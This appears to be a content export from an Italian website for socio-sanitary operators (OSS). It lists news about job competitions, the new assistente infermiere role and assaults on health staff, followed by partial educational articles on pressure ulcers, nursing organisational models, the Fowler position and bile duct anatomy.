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Entro il 2029 mancheranno 9mila infermieri, a rischio ospedali e cure. - [Assistente infermiere, Nursing Up porta Governo e Regioni davanti al Tar: "Figura ambigua e rischiosa"](https://ossinreparto.it/news/2025/09/13/assistente-infermiere-nursing-up-ricorso-tar-governo-regioni/): Il sindacato Nursing Up porta Governo e Regioni al Tar contro l'assistente infermiere: figura "rischiosa" per la sicurezza dei pazienti. - [Rimini, l'OSS di quartiere funziona: 125 anziani e 20 disabili assistiti all'anno](https://ossinreparto.it/news/2025/09/13/rimini-oss-quartiere-anziani-disabili-assistenza/): Progetto OSS di quartiere a Rimini: supporto a domicilio per anziani e disabili, riduce isolamento e favorisce relazioni sociali. - [Assistente Infermiere: ruolo, formazione e opportunità professionali](https://ossinreparto.it/news/2025/09/13/assistente-infermiere-ruolo-formazione/): Nasce l’assistente infermiere: nuova figura tra Oss e infermiere per rafforzare ospedali, territorio e cure domiciliari - [Corsi per Assistente Infermiere: attenzione nessuna scuola è legittimata](https://ossinreparto.it/news/2025/09/12/corsi-assistente-infermiere-non-autorizzati-truffa/): In Italia, al momento, nessun corso per Assistente Infermiere è autorizzato: diffidate da chi vende corsi non autorizzati, attenzione alle truffe. - [Sanità, Riccardi annuncia l'assistente infermieristico: "Un supporto per i pazienti fragili"](https://ossinreparto.it/news/2025/09/11/friuli-venezia-giulia-nuova-figura-assistente-infermieristico/): Il Friuli Venezia Giulia introduce la figura dell’assistente infermieristico, un nuovo ruolo tra Oss e infermieri per rafforzare l'assistenza a... - [Professioni sanitarie, boom di richieste in Puglia: 4.508 domande per 1.623 posti](https://ossinreparto.it/news/2025/09/11/universita-puglia-corsi-professioni-sanitarie-fisioterapia-infermieri/): In Puglia 4.508 domande per 1.623 posti ai corsi di laurea delle professioni sanitarie. Fisioterapia il più richiesto, con 6,8 candidati per posto. - [Bologna, corsi gratuiti per diventare Operatore Socio Sanitario](https://ossinreparto.it/news/2025/09/11/corsi-gratuiti-operatore-socio-sanitario-oss-2025/): Il 9 settembre a Bologna giornata di orientamento per i corsi gratuiti OSS: 1.000 ore di formazione con stage e qualifica riconosciuta. - [Caltanissetta, selezione per 5 OSS a supporto degli alunni disabili: domande entro il 17 settembre](https://ossinreparto.it/news/2025/09/11/selezione-oss-alunni-disabili-caltanissetta-2025/): Il Comune di Caltanissetta seleziona 5 OSS per l'assistenza scolastica ad alunni disabili. Domande entro il 17 settembre 2025. - [Professioni sanitarie, meno domande nonostante più posti: infermieristica in sofferenza](https://ossinreparto.it/news/2025/09/10/professioni-sanitarie-2025-piu-posti-meno-domande/): Calano le domande ai test delle professioni sanitarie nonostante l'aumento dei posti. Infermieristica resta in crisi. - [Concorso OSS Regione Campania 2025: pubblicata la banca dati ufficiale](https://ossinreparto.it/news/2025/08/07/pubblicata-banca-dati-concorso-oss-campania-2025-quiz-ufficiali/): Pubblicata la banca dati del concorso OSS Regione Campania: 1.274 posti, prove dal 22 al 26 settembre. Scopri gli argomenti, le sedi e dove fare quiz online. - [Concorso OSS Campania 2025: pubblicate le date ufficiali](https://ossinreparto.it/news/2025/07/26/concorso-oss-campania-2025-date-prova-scritta-posti/): Scopri le date della prova scritta OSS Campania 2025, 1.274 posti a tempo indeterminato e la banca dati ufficiale dal 7 agosto. - [Buono Amazon da 5 euro: risparmia subito su divise, accessori e altro](https://ossinreparto.it/news/2025/07/11/buono-amazon-5-euro-oss/): Amazon lancia un buono sconto per OSS su ordini da 15 euro. Scopri se il tuo account può attivarlo e... - [OSS preso a pugni in Pronto Soccorso a Polla: scatta la denuncia della CISL](https://ossinreparto.it/news/2025/07/02/aggressione-oss-pronto-soccorso-polla-violenza-sanitaria/): Un OSS aggredito con pugni e schiaffi al Pronto Soccorso di Polla. La CISL denuncia la mancanza di sicurezza negli ospedali italiani. - [È ufficiale: aumentati gli stipendi per infermieri e OSS](https://ossinreparto.it/news/2025/06/19/operatore-socio-sanitario-aumento-stipendio/): Firmato l'accordo per il Contratto Sanità 2022-2024, nonché per gli aumenti di stipendio per i sanitari e operatori socio sanitari. - [Videosorveglianza nelle RSA del Lazio: la proposta di legge di Alessia Savo contro gli abusi sugli anziani](https://ossinreparto.it/news/2025/06/06/videosorveglianza-nelle-rsa-del-lazio-la-proposta-di-legge-di-alessia-savo-contro-gli-abusi-sugli-anziani/): Alessia Savo propone la videosorveglianza obbligatoria nelle RSA del Lazio per aumentare il controllo e ridurre gli abusi sugli anziani. - [Migliori libri per il concorso OSS di 1274 posti in Campania](https://ossinreparto.it/news/2025/05/22/libri-concorso-oss-regione-campania/): Scopri i migliori libri per prepararti al concorso OSS: manuali completi, quiz aggiornati e consigli utili per superare le prove scritte, pratiche e orali. - [Medico fa TAC alla sua gatta in ospedale, polemiche e indagini](https://ossinreparto.it/news/2025/05/22/tac-gatto-ospedale-aosta/): Caso ad Aosta: primario usa TAC ospedaliera per salvare la sua gatta. Indagine per peculato, Ordine dei Medici sconcertato. Scoppia... - [Maxi concorso OSS Puglia 2025: 1.287 posti disponibili in ASL e IRCCS](https://ossinreparto.it/news/2025/05/19/maxi-concorso-oss-puglia-2025-1-287-posti-disponibili-in-asl-e-irccs/): Maxi concorso OSS in Puglia: 1. 287 posti disponibili nelle ASL e IRCCS regionali. Bando atteso entro giugno 2025. Ecco... - [Puglia, in arrivo maxi-concorso per 300 OSS al Policlinico Riuniti di Foggia](https://ossinreparto.it/news/2025/05/13/maxi-concorso-oss-puglia-2025/): Al via il maxi-concorso per OSS in Puglia. Intanto l'ASL Foggia assume 15 nuovi operatori. Previsti 300 posti a tempo indeterminato al Policlinico Riuniti. - [Rette RSA: cresce la confusione tra famiglie, regioni e magistratura](https://ossinreparto.it/news/2025/05/08/rette-rsa-cresce-la-confusione-tra-famiglie-regioni-e-magistratura/): L’assenza di una legge nazionale sulla non autosufficienza alimenta ricorsi legali e disparità territoriali. Il Patto per un nuovo welfare chiede una riforma urgente. - [Concorso OSS Longarone: selezione con benefit e alloggio](https://ossinreparto.it/news/2025/05/08/oss-posti-tempo-indeterminato-belluno/): Partecipa al Concorso OSS a Longarone: posti a tempo indeterminato con benefit, buoni pasto, alloggio incluso e welfare aziendale. Domande entro il 22 maggio 2025. - [Falsi diplomi OSS: 107 indagati in tutta Italia per truffa e falsificazione](https://ossinreparto.it/news/2025/05/08/truffa-attestati-oss-indagate-107-persone/): Scoperta rete di falsi diplomi OSS: 107 indagati, attestati venduti fino a 2.500 euro. Sequestri in strutture sanitarie e private. - [RSA e sanità privata: sciopero del 22 maggio protesta per il rinnovo contrattuale](https://ossinreparto.it/news/2025/05/07/sciopero-sanita-privata-22-maggio/): Sciopero sanità privata il 22 maggio: si chiedono contratto, tutele, valorizzazione OSS e migliori condizioni nelle RSA. - [In corsia mentre l'Italia si ferma: il primo maggio del personale sanitario](https://ossinreparto.it/news/2025/05/01/personale-sanitario-a-lavoro-primo-maggio/): Il 1° maggio molti festeggiano, ma il personale sanitario resta in servizio: un tributo a chi lavora per la nostra salute ogni giorno. - [AOU Dulbecco Catanzaro: avviso di mobilità per 3 posti OSS](https://ossinreparto.it/news/2025/04/29/aou-dulbecco-catanzaro-mobilita-3-oss-bando-completo/): Pubblicato avviso di mobilità volontaria all'AOU Dulbecco di Catanzaro, Calabria, per 3 posti da OSS. - [Lanciano, infermiera e OSS aggrediti al Pronto Soccorso: è allarme sicurezza](https://ossinreparto.it/news/2025/04/29/lanciano-infermiera-e-oss-aggrediti-al-pronto-soccorso-e-allarme-sicurezza/): Lanciano, uomo aggredisce infermiera e OSS al Pronto Soccorso. Sindacato: “Serve sicurezza per il personale sanitario”. - [Tragico incendio in una RSA a Rivarolo: muore un anziano, intossicato un OSS](https://ossinreparto.it/news/2025/04/28/incendio-rsa-rivarolo-canavese-torino-muore-anziano/): Un incendio in una RSA di Rivarolo Canavese a Torino causa la morte di un ospite di 78 anni e l'intossicazione lieve di un OSS. - [Detassazione al 5% OSS esclusi: Raffaele Diglio sollecita il Governo​](https://ossinreparto.it/news/2025/04/28/oss-esclusi-dalla-detassazione-sollecito-governo-italiano/): Raffaele Diglio chiede al Governo di includere gli OSS nella detassazione al 5% sugli straordinari, riconoscendo il loro ruolo fondamentale... - [Lamezia, medico e infermiere aggrediti in Pronto soccorso](https://ossinreparto.it/news/2025/04/27/aggressione-lamezia-medico-infermiere-ps/): Aggressione a Lamezia: medico e infermiere colpiti in Pronto Soccorso, scattano le indagini e si studiano nuove misure di sicurezza. - [Ddl sanità: le riserve di Nursing Up sulle nuove regole](https://ossinreparto.it/news/2025/04/25/ddl-sanita-nursing-up-preoccupazioni-libera-professione-oss/): Il Ddl sanità apre alla libera professione per gli operatori. Nursing Up solleva dubbi su controlli e temporaneità delle misure. - [Aspettativa non retribuita per incarico a termine: tutele per infermieri e OSS](https://ossinreparto.it/news/2025/04/25/aspettativa-non-retribuita-oss-infermieri/): L’aspettativa non retribuita per incarico a termine è un diritto per infermieri e OSS: lo conferma l’ARAN, tutelando la mobilità nel pubblico impiego sanitario. - [Aggressione a Ivrea: OSS picchiate al pronto soccorso, è allarme sicurezza](https://ossinreparto.it/news/2025/04/24/oss-aggredite-pronto-soccorso-ivrea-allarme-sicurezza-sanitaria/): Due OSS aggredite al pronto soccorso di Ivrea: escalation di violenza, scatta la stretta sulla sicurezza. Sindacati e ASL in allerta. - [RSA, nove OSS a giudizio: due patteggiano, per altri si valuta la messa alla prova](https://ossinreparto.it/news/2025/04/23/indagati-nove-oss-rsa-anziani/): Due operatori socio-sanitari hanno patteggiato nel processo che coinvolge nove OSS di una RSA. Per altri cinque si valuta la messa alla prova. - [Concorso OSS ASP Parma 2025: 38 posti a tempo indeterminato](https://ossinreparto.it/news/2025/04/23/concorso-oss-38-posti-operatore-socio-sanitario-asp-parma/): ASP Parma assume 38 OSS a tempo indeterminato. Scadenza domande 5 maggio 2025. Tutti i requisiti, riserve e prove d'esame nel bando. - [Castrovillari, OSS aggredito: parente di un paziente lo colpisce davanti ai bambini](https://ossinreparto.it/news/2025/04/22/ospedale-castrovillari-oss-aggredito/): Un operatore socio-sanitario è stato aggredito da un parente di un paziente pediatrico all’ospedale di Castrovillari. Contusioni e cinque giorni di prognosi. - [Civitavecchia: 50 OSS vincitori del concorso ancora in attesa di assunzione](https://ossinreparto.it/news/2025/04/21/civitavecchia-50-oss-vincitori-del-concorso-ancora-in-attesa-di-assunzione/): A Civitavecchia, 50 OSS vincitori del concorso Tor Vergata attendono l’assunzione. I sindacati chiedono risposte rapide alla ASL Roma 4. - [Riolo Terme, infermiere condannato a 8 anni per abusi sessuali su 4 pazienti in clinica psichiatrica](https://ossinreparto.it/news/2025/04/19/abusava-sessualmente-pazienti-condanna-infermiere/): Condanna a 8 anni per un infermiere di Ravenna accusato di abusi sessuali su 4 pazienti in una clinica psichiatrica. - [Concorso OSS Campania 1274 Posti: tutto quello che sappiamo finora (e cosa aspettarsi a breve)](https://ossinreparto.it/news/2025/04/19/concorso-oss-campania-aggiornamenti/): Concorso OSS Regione Campania 2025: pubblicati gli elenchi degli ammessi alla prova scritta per 1274 posti. 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Partita un’indagine, chiesto il rinvio a giudizio. - [Anzio: Operatore Socio Sanitario arrestato per furto di farmaci ospedalieri](https://ossinreparto.it/news/2025/04/14/oss-operatore-socio-sanitario-arrestato-peculato-furto-farmaci/): Operatore socio sanitario arrestato ad Anzio: rubava farmaci dall'ospedale per usarli in visite mediche a domicilio. - [Toscana, prorogata la graduatoria 2022 degli OSS: approvata all’unanimità la nuova legge regionale](https://ossinreparto.it/news/2025/04/14/prorogata-graduatoria-oss-toscana/): La Toscana proroga la graduatoria 2022 degli OSS: approvata all’unanimità una legge che tutela i lavoratori idonei in attesa del concorso Estar. - [Liguria, nei Pronto Soccorso arriva “Chiedi a Me”: un supporto per familiari e pazienti](https://ossinreparto.it/news/2025/04/14/liguria-pronto-soccorso-chiedi-a-me/): Da maggio 2025 nei pronto soccorso della Liguria arriva “Chiedi a Me”: 80 facilitatori offriranno supporto emotivo e informazioni ai familiari dei pazienti. - [Carenza di OSS in Toscana: infermieri costretti a mansioni non loro, l'allarme nelle strutture](https://ossinreparto.it/news/2025/04/13/carenza-oss-toscana-sud-est/): Grave carenza di operatori socio-sanitari nella ASL Toscana Sud Est: solo 600 OSS attivi su 1.300 previsti. Infermieri costretti a mansioni improprie. - [Novità nella Legge di Bilancio: più attenzione al sistema sanitario e alle buone pratiche in ospedale](https://ossinreparto.it/news/2025/04/01/legge-bilancio-2025-ospedali/): La Legge di Bilancio 2025 introduce novità per il sistema sanitario, puntando su accessibilità e benessere. - [Case di riposo: dignità e assistenza sotto stress, la denuncia di Maiolo](https://ossinreparto.it/news/2025/01/07/case-di-riposo-denuncia-maiolo/): Case di riposo: denuncia sulle carenze di personale e assistenza. Priorità al profitto? Servono cambiamenti per dignità e cura degli anziani. - [Assistente Infermiere: sale a 5 anni il percorso di formazione](https://ossinreparto.it/news/2024/11/23/assistente-infermiere-formazione-5-anni/): Il percorso formativo per diventare assistente infermiere dura 5 anni, con un triennio finale di formazione specialistica e tirocinio pratico. - [Al via il Concorso OSS della Regione Campania per 1.274 posti: come partecipare](https://ossinreparto.it/news/2024/11/08/concorso-oss-regione-campania-2025/): La Regione Campania lancia un concorso per Operatori Socio Sanitari per 1.274 assunzioni a tempo indeterminato. Posti suddivisi in due aree, con prove scritte e orali. - [Velletri, OSS risarcita dopo sospensione per mancato vaccino anti-Covid](https://ossinreparto.it/news/2024/11/08/oss-covid-19-risarcimento/): Il Tribunale di Velletri risarcisce un’OSS sospesa per non aver rispettato l’obbligo vaccinale anti-Covid, senza prevedere il reintegro. - [Legge di Bilancio 2025: aumento indennità per infermieri e oss fino a 285 milioni](https://ossinreparto.it/news/2024/10/24/legge-bilancio-2025-oss-infermieri/): Nella Legge di Bilancio 2025, aumento delle indennità per infermieri e OSS: fino a 285 milioni di euro per valorizzare le professioni sanitarie. - [Assunzioni OSS e infermieri in Puglia 2024-2025: 3.650 nuovi posti e tariffe aggiornate](https://ossinreparto.it/news/2024/10/17/assunzioni-oss-infermieri-puglia/): Assunzioni OSS e infermieri in Puglia 2024-2025: previste 3.650 nuove unità nel SSR e aggiornamenti sulle tariffe per le prestazioni aggiuntive. - [Nuova riforma per gli Operatori Socio Sanitari: ecco cosa cambia](https://ossinreparto.it/news/2024/10/05/operatore-socio-sanitario-riforma/): Nuova riforma per OSS: aggiornamento delle competenze, corsi da 1000 ore e formazione continua. Standard uniformi e più responsabilità. - [Riforma del profilo OSS e nascita della figura dell'Assistente Infermiere: in arrivo i nuovi decreti](https://ossinreparto.it/news/2024/10/03/riforma-profilo-oss-assistente-infermiere/): Nuovi decreti ridefiniscono il ruolo OSS e introducono l'Assistente Infermiere per migliorare l'assistenza sanitaria in Italia. - [Campania: via libera al concorso unico per OSS, sospesi gli altri bandi regionali](https://ossinreparto.it/news/2024/10/02/campania-concorso-unico-oss/): La Regione Campania ha avviato un concorso unico per OSS a tempo indeterminato, bloccando altri bandi. Due aree territoriali coinvolte. - [Asl di Avellino: Operatore socio-sanitario lavorava con titoli falsi, licenziato dopo 15 mesi](https://ossinreparto.it/news/2024/09/26/asl-avellino-oss-licenziato/): Operatore socio-sanitario senza titolo licenziato dall'Asl Avellino dopo 15 mesi di servizio. Scoperti documenti falsi durante i controlli. - [La differenza tra Albo e Registro Nazionale degli Operatori Socio Sanitari](https://ossinreparto.it/news/2024/09/09/albo-registro-oss/): Il Registro nazionale OSS certifica la professione, mentre l'albo non è possibile per legge. Il registro garantisce tutele e visibilità - [Assistente infermiere: chi è, come si forma e cosa fa la nuova figura professionale](https://ossinreparto.it/news/2024/09/03/assistente-infermiere/): L'assistente infermiere, formato come OSS, supporta gli infermieri con assistenza diretta, somministrazione di terapie e monitoraggio pazienti. - [Crisi OSS in Toscana: graduatoria in scadenza mentre gli ospedali sono in difficoltà](https://ossinreparto.it/news/2024/09/02/ospedali-in-crisi-toscana/): In Toscana, la graduatoria degli OSS scade mentre gli ospedali sono in crisi. Senza assunzioni dal novembre 2023, si teme di perdere la chance. - [Assicurazione OSS: perché l'obbligo imposto è privo di basi legali](https://ossinreparto.it/news/2024/08/29/assicurazione-oss/): Una cooperativa sanitaria obbliga gli OSS a pagare un'assicurazione di responsabilità civile, suscitando preoccupazioni e dibattiti sui loro diritti. - [Selezione 2024 per OSS con la Croce Rossa Italiana](https://ossinreparto.it/news/2024/08/28/bando-croce-rossa-oss/): Avviso di selezione per OSS presso la Croce Rossa Italiana (CRI), incarichi presso i presidi sanitari del Comitato Regionale Toscana. - [Napoli: OSS in piazza per difendere il lavoro, appello alla Regione Campania](https://ossinreparto.it/news/2024/08/28/oss-lavoro-licenziamento/): Gli OSS delle cooperative di Napoli continuano a protestare contro i licenziamenti previsti a settembre. Cercano un futuro sicuro. - [58 posti OSS: concorso pubblico a tempo indeterminato](https://ossinreparto.it/news/2024/07/28/58-posti-oss-concorso-pubblico/): Concorso pubblico 2024 per 58 posti da Operatore Sociosanitario a tempo indeterminato in Veneto. Scadenza e bando in arrivo. - [OSS riconosciuti tra i lavori usuranti in parlamento](https://ossinreparto.it/news/2024/07/27/oss-riconosciuti-tra-i-lavori-usuranti-in-parlamento/): Per la prima volta, l’attività degli oss è inserita tra i lavori usuranti grazie a un ordine del giorno approvato in Parlamento. - [OSS disabile vince ricorso: annullato il giudizio di inidoneità](https://ossinreparto.it/news/2024/07/23/oss-disabile-vince-ricorso-annullato-il-giudizio-di-inidoneita/): Una OSS disabile di Sora ha vinto un ricorso contro l'ospedale Sant'Andrea di Roma, che l'aveva dichiarata inidonea, per discriminazione. - [OSS salva uomo da infarto con 13 minuti di massaggio cardiaco](https://ossinreparto.it/news/2024/07/23/oss-salva-uomo-massaggio-cardiaco/): A Pescina, un oss ha praticato un massaggio cardiaco per 13 minuti e salvato un 67enne colpito da infarto. L'uomo è stato operato e ora sta bene. - [Liguria: Graduatorie OSS e sanitarie prorogate di un anno](https://ossinreparto.it/news/2024/07/23/liguria-graduatorie-oss-e-sanitarie-prorogate/): Il Consiglio regionale della Liguria approva la proroga annuale delle graduatorie per OSS e altre professioni sanitarie, evitando spese aggiuntive. - [35 posti per Operatori Socio Sanitari al Policlinico di Bari](https://ossinreparto.it/news/2024/07/05/35-posti-oss-policlinico-bari/): Avviso per 35 posti di Operatore Socio-Sanitario a Bari: scopri i requisiti necessari e il procedimento per candidarti online. - [Concorso OSS ASP Siracusa: 20 posti disponibili](https://ossinreparto.it/news/2024/07/05/concorso-oss-asp-siracusa-20-posti/): Partecipa al concorso OSS ASP Siracusa. 20 posti a tempo indeterminato. Scopri i requisiti e come candidarti entro il 15 luglio 2024. - [Concorso per 42 posti a tempo indeterminato - Asp dei Comuni Modenesi](https://ossinreparto.it/news/2024/07/05/concorso-oss-42-posti-asp-comuni-modenesi/): L'ASP dei Comuni Modenesi Area Nord assume 42 OSS a tempo indeterminato. Requisiti: cittadinanza UE, attestato OSS, patente B. Candidature online entro il 24/7/24. - [Rinnovo CCNL 2022-2024: Sanità pubblica e sindacati discutono](https://ossinreparto.it/news/2024/06/13/rinnovo-ccnl-2022-2024-sanita-sindacati/): Trattativa del CCNL 2022-2024 per la sanità pubblica: sindacati e ARAN discutono miglioramenti delle condizioni lavorative. --- # # Detailed Content ## Pagine - Published: 2024-09-30 - Modified: 2024-09-30 - URL: https://ossinreparto.it/newsletter/ LA NEWSLETTER DELL’OSS Rimani aggiornato su news, concorsi e molto altro! --- - Published: 2023-05-30 - Modified: 2023-05-31 - URL: https://ossinreparto.it/contatti/ Se avete domande, commenti o suggerimenti, non esitate a contattarci compilando il modulo sottostante. Saremo lieti di rispondere alle vostre richieste e di offrire il nostro supporto.   Siamo consapevoli dell'importanza di questo ruolo e ci impegniamo a fornirvi risorse utili e aggiornate per aiutarvi ad eccellere in questa professione. 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OSS IN REPARTO Scegli l’argomento che più ti interessa Assistenzaalla Persona Scopri di più Psicologia Scopri di più Anatomia Scopri di più LegislazioneSanitaria Scopri di più Procedure Scopri di più Igienee Sicurezza Scopri di più OrganizzazioneSocio-Sanitaria Scopri di più Concorsied Avvisi Scopri di più PROCEDURE OSS Le procedure OSS più ricercate (adsbygoogle = window. adsbygoogle || ). push({}); AVVISI PUBBLICI E CONCORSI OSS News e avvisi concorsi OSS 2024 Prossimamente QUIZ OSS ONLINE Simulatore quiz per concorso OSS Se stai cercando un modo efficace per prepararti al concorso OSS, abbiamo una fantastica notizia per te.  Presto sarà disponibile una piattaforma innovativa che ti permetterà di simulare i quiz del concorso OSS direttamente online. Questa soluzione pensata appositamente per coloro che desiderano mettersi alla prova e migliorare le proprie competenze, ti offrirà un'esperienza di apprendimento coinvolgente e interattiva. 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Le lesioni da pressione, comunemente chiamate piaghe da decubito o ulcere da pressione, sono lesioni cutanee e dei tessuti sottostanti dovute a pressione prolungata su aree anatomiche, spesso in corrispondenza di prominenze ossee. Queste lesioni possono verificarsi quando una persona rimane immobile per un periodo prolungato o quando una determinata area del corpo è soggetta a una pressione costante. Nel contesto clinico la prevalenza varia: in strutture ospedaliere acute si stima una prevalenza media intorno al 5-15%, mentre in lungodegenza e strutture residenziali può superare il 20%. Gruppi a rischio includono anziani fragili, pazienti neurologici e persone con lunga allettazione; le piaghe da decubito aumentano durata di degenza e costi sanitari, con impatto economico stimato in miliardi di euro/anno a livello nazionale. Di conseguenza la prevenzione riduce mortalità e morbilità correlate a infezioni profonde e osteomielite. Cause e fattori di rischio Le lesioni da pressione sono causate da un ischemia , cioè da una scarsa vascolarizzazione del sangue in quella zona in genere sotto pressione. Se la pressione sussiste si va incontro ad una necrosi dell'area ( una morte tissutale). Pressione costante Attrito e scivolamento Umidità e sudorazione Fattori di rischio aggiuntivi: immobilità prolungata, età avanzata, malnutrizione (perdita di peso involontaria), diabete, patologie vascolari periferiche, incontinenza, ridotta sensibilità cutanea (neuropatie), stato di coscienza alterato, uso di sedativi o corticosteroidi. Questi fattori sono suddivisibili in intrinseci (es. perfusione tissutale ridotta) ed estrinseci (es. pressione, shear, umidità). Strumenti di valutazione del rischio: scale validate aiutano il decision making. Braden (punteggio --- > Scopri i modelli organizzativi infermieristici tradizionali e moderni: ruoli, vantaggi e impatto sul lavoro di OSS e infermieri. - Published: 2025-12-13 - Modified: 2025-12-13 - URL: https://ossinreparto.it/modelli-organizzativi-infermieristici/ - Categorie: Organizzazione Socio-Sanitaria - Tag: Lavorare come OSS Dalla presa in carico totale all’intensità di cura: i modelli organizzativi infermieristici influenzano turni, carichi di lavoro e qualità dell’assistenza. Ecco perché ogni OSS dovrebbe conoscerli. Nel mondo della sanità, l'organizzazione del lavoro è essenziale per garantire una cura efficace e tempestiva ai pazienti. I modelli organizzativi dell'assistenza infermieristica sono i fondamenti su cui si basa la distribuzione dei compiti e delle responsabilità all'interno dei team di assistenza, che includono, oltre agli infermieri, anche gli operatori socio-sanitari (OSS) e gli altri professionisti. Questi modelli hanno un impatto diretto sulla qualità del servizio sanitario, sulla gestione delle risorse e sull'esperienza del paziente. In questo articolo, esploreremo i principali modelli organizzativi utilizzati nelle strutture sanitarie, comprendendone le caratteristiche e l'evoluzione nel tempo. Cosa sono i modelli organizzativi dell'assistenza infermieristica I modelli organizzativi infermieristici (o dell'assistenza infermieristica) sono strutture teorico-pratiche che definiscono come il personale infermieristico organizza e gestisce l'assistenza ai pazienti all'interno di una struttura sanitaria che sia pubblica o privata. Sono strumenti fondamentali per garantire efficienza, qualità e coerenza nell'erogazione delle cure, tenendo conto delle risorse disponibili, del numero e delle competenze del personale, e, soprattutto, delle necessità dei pazienti. Questi modelli forniscono linee guida per stabilire chi fa cosa, come e quando, creando un equilibrio tra la personalizzazione delle cure e la razionalizzazione del lavoro. Si basano su principi che vanno dalla presa in carico individualizzata del paziente alla gestione coordinata di grandi volumi di assistiti, adattandosi sia a piccoli contesti che a realtà più complesse. Ogni modello risponde a specifiche esigenze organizzative: ad esempio, in un reparto con pazienti acuti potrebbe essere preferibile un modello centrato sull'intensità delle cure, mentre in un ambiente con pazienti cronici si potrebbe adottare un approccio personalizzato come il primary nursing o il case management. Quando è nato il primo modello organizzativo infermieristico Il primo modello organizzativo infermieristico nacque grazie a Florence Nightingale durante la guerra di Crimea (1853-1856). Nightingale introdusse principi fondamentali come la centralità del paziente, l'importanza dell'igiene e la prevenzione, migliorando le condizioni sanitarie e riducendo la mortalità. Nel 1860 fondò la Nightingale School of Nursing, il primo istituto per la formazione strutturata delle infermiere, diffondendo standard di cura basati su educazione, responsabilità e ambiente terapeutico. Questo modello, incentrato su igiene, documentazione e benessere olistico, ha posto le basi per l'assistenza sanitaria moderna e continua a influenzare i sistemi sanitari attuali. Caratteristiche dei modelli organizzativi infermieristici Le principali caratteristiche dei modelli organizzativi infermieristici si basano su tre pilastri fondamentali: efficienza; continuità delle cure; personalizzazione dell'assistenza. Un elemento centrale di questi modelli è la capacità di definire ruoli e responsabilità all'interno del team infermieristico. Ciò consente di coordinare il lavoro, evitando sovrapposizioni o lacune. Ogni membro del personale infermieristico ha compiti specifici, il che favorisce un'interazione fluida e una distribuzione uniforme del carico di lavoro. Un altro aspetto importante è la continuità dell'assistenza, garantita dalla presenza di strategie organizzative che favoriscono il passaggio di informazioni durante i cambi turno. Questo processo è essenziale per assicurare che il paziente riceva cure coerenti, indipendentemente dall'orario o dall'operatore in servizio. La centralità del paziente si riflette anche nella personalizzazione dell'assistenza, che mira a rispondere alle esigenze specifiche di ogni individuo, tenendo... --- - Published: 2025-12-13 - Modified: 2025-12-13 - URL: https://ossinreparto.it/posizione-di-fowler-quando-e-come-usarla/ - Categorie: Assistenza alla Persona - Tag: Cura del Paziente, Lavorare come OSS, Lesioni da Pressione, Mobilizzazione paziente, Posizioni di decubito, Prevenzione piaghe da decubito Guida completa alla posizione di Fowler: indicazioni cliniche, varianti, benefici, rischi e corretta esecuzione per OSS e operatori sanitari. La posizione di Fowler è una tecnica di posizionamento ampiamente utilizzata in ambito sanitario, fondamentale per migliorare il comfort e la funzionalità respiratoria dei pazienti. Consiste in una postura semi-seduta che facilita la respirazione, supporta la circolazione e contribuisce alla prevenzione di complicanze come le piaghe da decubito. Questo articolo si propone di fornire una panoramica dettagliata e rigorosa sulla posizione di Fowler, rivolta a operatori sanitari, OSS, studenti e professionisti della salute. Verranno illustrate le caratteristiche principali, le diverse varianti, le indicazioni cliniche, i benefici e i rischi associati, nonché le modalità corrette di esecuzione e gestione, con un approccio didattico che supporti un'applicazione sicura ed efficace nelle diverse realtà assistenziali. Cos'è la posizione di Fowler e a cosa serve La posizione di Fowler si definisce come una postura semi-seduta in cui il paziente è posizionato con il busto sollevato rispetto alla posizione supina, generalmente con un angolo di inclinazione compreso tra 30° e 45°. Questa inclinazione permette una migliore espansione polmonare, facilitando la respirazione e riducendo la fatica respiratoria, particolarmente utile in pazienti con insufficienza respiratoria o condizioni cardiache. La posizione semiortopnoica, con un angolo più elevato, e la posizione semiseduta rappresentano varianti che si differenziano per l'angolo di inclinazione e per il supporto degli arti inferiori. La posizione di Fowler trova applicazione sia in ambito ospedaliero, come in terapia intensiva e sale operatorie, sia in contesti domiciliari, garantendo comfort e prevenzione di complicanze. La corretta esecuzione della posizione è un elemento cardine nell'assistenza infermieristica e nella gestione globale del paziente fragile. Indicazioni cliniche e situazioni d'uso La posizione di Fowler è indicata in molteplici situazioni cliniche. È particolarmente efficace per pazienti con patologie respiratorie, quali dispnea e scompenso cardiaco, poiché facilita la ventilazione e riduce il carico sul cuore. Inoltre, questa posizione supporta l'esecuzione delle attività quotidiane come alimentazione e lettura, migliorando il comfort e l'autonomia. In ambito ospedaliero, è frequentemente utilizzata in sala operatoria e nelle terapie intensive per ottimizzare la gestione clinica e il benessere del paziente. Un ruolo importante della posizione di Fowler riguarda anche la prevenzione delle piaghe da decubito, grazie alla riduzione delle pressioni prolungate e al miglioramento della circolazione sanguigna. La personalizzazione del posizionamento in base alle condizioni cliniche specifiche è essenziale per massimizzare i benefici e minimizzare i rischi. Patologie e condizioni che beneficiano della posizione di Fowler Le condizioni cliniche che traggono maggior beneficio dalla posizione di Fowler includono la dispnea e l'insufficienza respiratoria, poiché l'inclinazione del busto facilita l'espansione polmonare e il miglioramento dell'ossigenazione. Pazienti affetti da scompenso cardiaco e edema polmonare trovano sollievo in questa postura, che contribuisce a ridurre la congestione cardiaca e favorisce il drenaggio delle secrezioni bronchiali. La posizione è altresì indicata nel post-operatorio e per pazienti critici, riducendo il rischio di complicanze respiratorie e accelerando il recupero. In ambito neurologico, è utile per pazienti con compromissioni della deglutizione, poiché aiuta a prevenire l'aspirazione e facilita la gestione delle secrezioni. Infine, il miglioramento del drenaggio delle secrezioni rende la posizione di Fowler uno strumento... --- > Scopri cos’è il coledoco: anatomia e funzioni della bile, sintomi (ittero e dolore), esami (eco, MRCP, CPRE) e terapie. - Published: 2025-12-13 - Modified: 2025-12-13 - URL: https://ossinreparto.it/coledoco-anatomia-funzioni-patologie-sintomi/ - Categorie: Anatomia - Tag: Cistifellea, Coledoco, Detto Biliare Comune, Pancreas Dove passa la bile, cosa succede quando il coledoco si ostruisce e quali segnali non ignorare: guida chiara su anatomia, funzioni, sintomi (ittero, dolore), esami e terapie come MRCP e CPRE Il coledoco, o dotto biliare comune, è una struttura essenziale del sistema biliare che ha il compito di condurre la bile prodotta dal fegato e immagazzinata nella cistifellea fino al duodeno, la prima porzione dell'intestino tenue. La bile è fondamentale per il processo digestivo, in particolare per l'emulsione e l'assorbimento dei grassi e delle vitamine liposolubili (A, D, E, K), facilitando così la digestione e l'assorbimento dei nutrienti. Questo articolo offre una panoramica dettagliata sull'anatomia e la posizione del coledoco, descrivendone la struttura istologica, le funzioni fisiologiche e le connessioni con le vie biliari e il duodeno. Verranno inoltre analizzate le principali patologie che possono interessare il coledoco, con approfondimenti 